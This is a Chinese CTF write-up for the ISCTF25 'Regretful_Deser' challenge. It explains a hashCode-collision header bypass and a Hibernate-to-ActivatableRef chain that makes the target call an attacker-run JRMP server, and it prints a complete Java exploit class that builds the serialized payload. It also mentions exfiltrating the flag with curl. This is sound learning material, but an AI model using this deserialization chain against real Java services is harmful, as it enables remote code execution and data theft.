ISCTF25_Regretful_Deser
1diot9 Lv4

前言

我认为这道题的难点在于JRMP那段链子,可能是之前接触的少,所以觉得很难想到。

题目分析

初步分析

先看依赖:

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.6.15.Final</version>
</dependency>
</dependencies>

cc很熟悉,hibernate主要是触发getter方法用的,路径为hashCode–>getter,所以可以以HashMap为入口。这里不展开了,不熟悉hibernate链的可以找文章学一下。

另外,pom还能得知是jdk8,网上的wp说是8u472。

再看题目的主要类。

Main.java,下面保留了主要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public class Main {
public static void main(String[] args) throws Exception {
int port = 8080;
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", new IndexHandler());
server.createContext("/hello", new HelloHandler());
server.createContext("/api/echo", new EchoHandler());
server.setExecutor((Executor)null);
System.out.println("Server started at http://localhost:" + port);
server.start();
}

private static void sendText(HttpExchange exchange, int statusCode, String text) throws IOException {
......
}

private static void sendHtml(HttpExchange exchange, int statusCode, String html) throws IOException {
....
}

private static String readBody(HttpExchange exchange) throws IOException {
......
}

private static Map<String, String> parseQuery(String query) throws UnsupportedEncodingException {
。。。。
}

static class IndexHandler implements HttpHandler {
....
}

static class HelloHandler implements HttpHandler {
....
}

static class EchoHandler implements HttpHandler {
public void handle(HttpExchange exchange) throws IOException {
List<String> cookie = exchange.getRequestHeaders().get("Pass");
String pass = (String)cookie.get(0);
if (!pass.equals("n1ght") && pass.hashCode() == "n1ght".hashCode()) {
List<String> echo = exchange.getRequestHeaders().get("echo");
String s = (String)echo.get(0);
byte[] decode = Base64.getDecoder().decode(s);

try {
(new SecurityObjectInputStream(new ByteArrayInputStream(decode))).readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}

}
}
}

是用HttpServer启动的一个服务,在/api/echo先通过一个hashCode判断,就能触发反序列化。

HttpServer的内存马在HFCTF2022的ez_chain遇到过:

https://1diot9.github.io/2025/05/05/WebHandler%E5%86%85%E5%AD%98%E9%A9%AC/

看一下SecurityObjectInputStream,依旧只保留有效部分

1
2
3
4
public class SecurityObjectInputStream extends ObjectInputStream {
public static String[] blacklist = new String[]{"org.apache.commons.collections", "javax.swing", "com.sun.rowset", "com.sun.org.apache.xalan", "java.security", "java.rmi.MarshalledObject", "javax.management.remote.rmi.RMIConnector"};

}

黑名单类:

1
2
3
4
5
6
7
org.apache.commons.collections
javax.swing
com.sun.rowset
com.sun.org.apache.xalan
java.security
java.rmi.MarshalledObject
javax.management.remote.rmi.RMIConnector

cc不能直接用。

EventListenerList不能用。

JdbcRowSetImpl不能用

TemplatesImpl不能用

SignedObject不能用

RMIConnector不能

二次反序列化的点基本都没了。

hashCode碰撞问题

这个在HFCTF2022也遇到过,直接看String,hashCode:

img

(((a*31)+b)*31+c)*31+ … 这样一层层叠加计算hashCode。

前两位原本是n1,那前面ascii码减1,后面加31即可,变成mP,mPght即可

img

利用链分析

前段

就是hibernate那条链。

后段

用hibernate触发getter方法应该是没问题的,从笔记找了一下哪些能用:

img

剩下的似乎只有LdapAttribute了。

那能继续打ldap吗?如果是8u472的话,ldap默认是不允许反序列化数据的,那就只能使用RefBypass,然后打本地工厂类。但是依赖里只有cc和hibernate,所以ldap这条路似乎也不可行。

这里我就卡住了,不会往JRMP部分想,因为之前几乎没用过。

JRMP破局

以下部分是学习wp后的感悟。

需要先对JRMP的利用有一定了解,这里可以看我之前的文章。

https://1diot9.github.io/2025/11/10/RMI-JRMP-JEP290-LDAP%E5%9F%BA%E7%A1%80%E6%A2%B3%E7%90%86/

这里的重点在于:只要一个接口被RemoteObjectInvocationHandler(里面的ref指向恶意jrmp)动态代理了,那么这个对象执行任意方法时,都会走RemoteObjectInvocationHandler#invoke,最终走到StreamRemoteCall#executeCall,然后就可以反序列化恶意Exception对象。

被RemoteObjectInvocationHandler代理的接口有个条件,必须实现Remote接口,理由如图:

img

invoke会走到这里,代理如果没实现Remote接口,就会报错。

看一下java.rmi.activation.ActivationID#activate:

img

这里的activator字段,类型为Activator接口,继承了Remote:

img

这就满足上面打JRMP的条件了,我们可以给这个activator套一个动态代理,动态代理里的ref字段指向恶意JRMP,最后JRMP返回恶意Exception对象,在StreamRemoteCall#executeCall触发反序列化。这里的反序列化没有黑名单,所以直接用cc链就行。

现在只要往前推,推到一个getter方法就行了。这里直接使用idea自带的用法查找功能。注意,用法查找只能在有源码的情况下使用,即为.java文件。所以这里我切换回8u65,因为我只下了这个版本的所有源码。

对着方法,alt+f7:

img

img

往上查找两次就找到了。最终的getter方法是sun.rmi.server.ActivatableRef#getRef。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package exp;

import exp.tools.ReflectTools;
import exp.tools.UnsafeTools;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.util.Base64;
import java.util.HashMap;
import java.util.Random;

public class Exp {
public static void main(String[] args) throws Exception {
String s1 = "n1ght";
String s2 = "mPght";
Object payload = getPayload();
byte[] bytes = ReflectTools.ser2bytes(payload);
String s = Base64.getEncoder().encodeToString(bytes);
FileOutputStream fileOutputStream = new FileOutputStream("D:\\BaiduSyncdisk\\ctf-challenges\\1diot9\\Solutions\\Pycharm\\2025\\ISCTF\\Regretful_Deser\\base64.txt");
fileOutputStream.write(s.getBytes());
}

public static Object getPayload() throws Exception {
ActivatableRef activatableRef = (ActivatableRef) getActivatableRef("127.0.0.1", 13999);

// 获取 getRef 方法并设置为可访问
java.lang.reflect.Method getRefMethod = activatableRef.getClass().getDeclaredMethod("getRef");
getRefMethod.setAccessible(true);

GetterMethodImpl getterMethod = new GetterMethodImpl(ActivatableRef.class, "ref", getRefMethod);
PojoComponentTuplizer o = (PojoComponentTuplizer) UnsafeTools.getObjectByUnsafe(PojoComponentTuplizer.class);
ReflectTools.setFieldValue(o, "getters", new Getter[]{getterMethod});
ComponentType o1 = (ComponentType) UnsafeTools.getObjectByUnsafe(ComponentType.class);
ReflectTools.setFieldValue(o1, "componentTuplizer", o);
ReflectTools.setFieldValue(o1, "propertySpan", 1);
TypedValue typedValue = new TypedValue(o1, activatableRef);

typedValue.hashCode();

HashMap<Object, Object> hashMap = ReflectTools.makeMap(typedValue, typedValue);
return hashMap;
}

public static Object getActivatableRef(String host, int port) throws Exception {
// 1. 构造底层的 UnicastRef,指向恶意的 JRMP 服务 (例如 ysoserial 的 JRMPListener)
// 这里端口 13999 是攻击者的 JRMP Server
ObjID activatorObjId = new ObjID(ObjID.ACTIVATOR_ID); // 伪装成系统 Activator ID (1)
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef originalRef = new UnicastRef(new LiveRef(activatorObjId, te, false));

// 2. 创建一个 Activator 类型的动态代理
// 也就是构造你上一题中提到的 activator.activate() 的那个 "activator" 对象
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(originalRef);
Activator activatorProxy = (Activator) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Activator.class},
handler
);

// 3. 构造 ActivationID
// ActivationID 的构造函数是 protected 的,需要通过反射调用
// 构造函数签名: ActivationID(Activator activator)
Constructor<ActivationID> activationIDConstructor = ActivationID.class.getDeclaredConstructor(Activator.class);
activationIDConstructor.setAccessible(true);
ActivationID activationID = activationIDConstructor.newInstance(activatorProxy);

// 4. 构造 ActivatableRef
// 这是封装 ActivationID 的关键 Ref
// 构造函数签名: ActivatableRef(ActivationID id, RemoteRef ref)
Class<?> activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef");
Constructor<?> activatableRefConstructor = activatableRefClass.getDeclaredConstructor(ActivationID.class, RemoteRef.class);
activatableRefConstructor.setAccessible(true);
// 第二个参数可以为 null,或者传入 originalRef 作为 fallback
Object activatableRef = activatableRefConstructor.newInstance(activationID, null);

return activatableRef;
}
}

然后用java-chains开一个JRMP服务:

img

curl cat /flag.xxx.xxx 外带flag。

复现平台:

https://gz.imxbt.cn/games/32/challenges#1195-Regretful_Deser

总结

要是告诉我触发点在java.rmi.activation.ActivationID#activate,可能可以推出来。但是如果让我自己去找,还是有些困难,仍没有彻底弄清楚触发点的搜索逻辑。

参考

https://xz.aliyun.com/news/90777

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 111.2k 访客数 访问量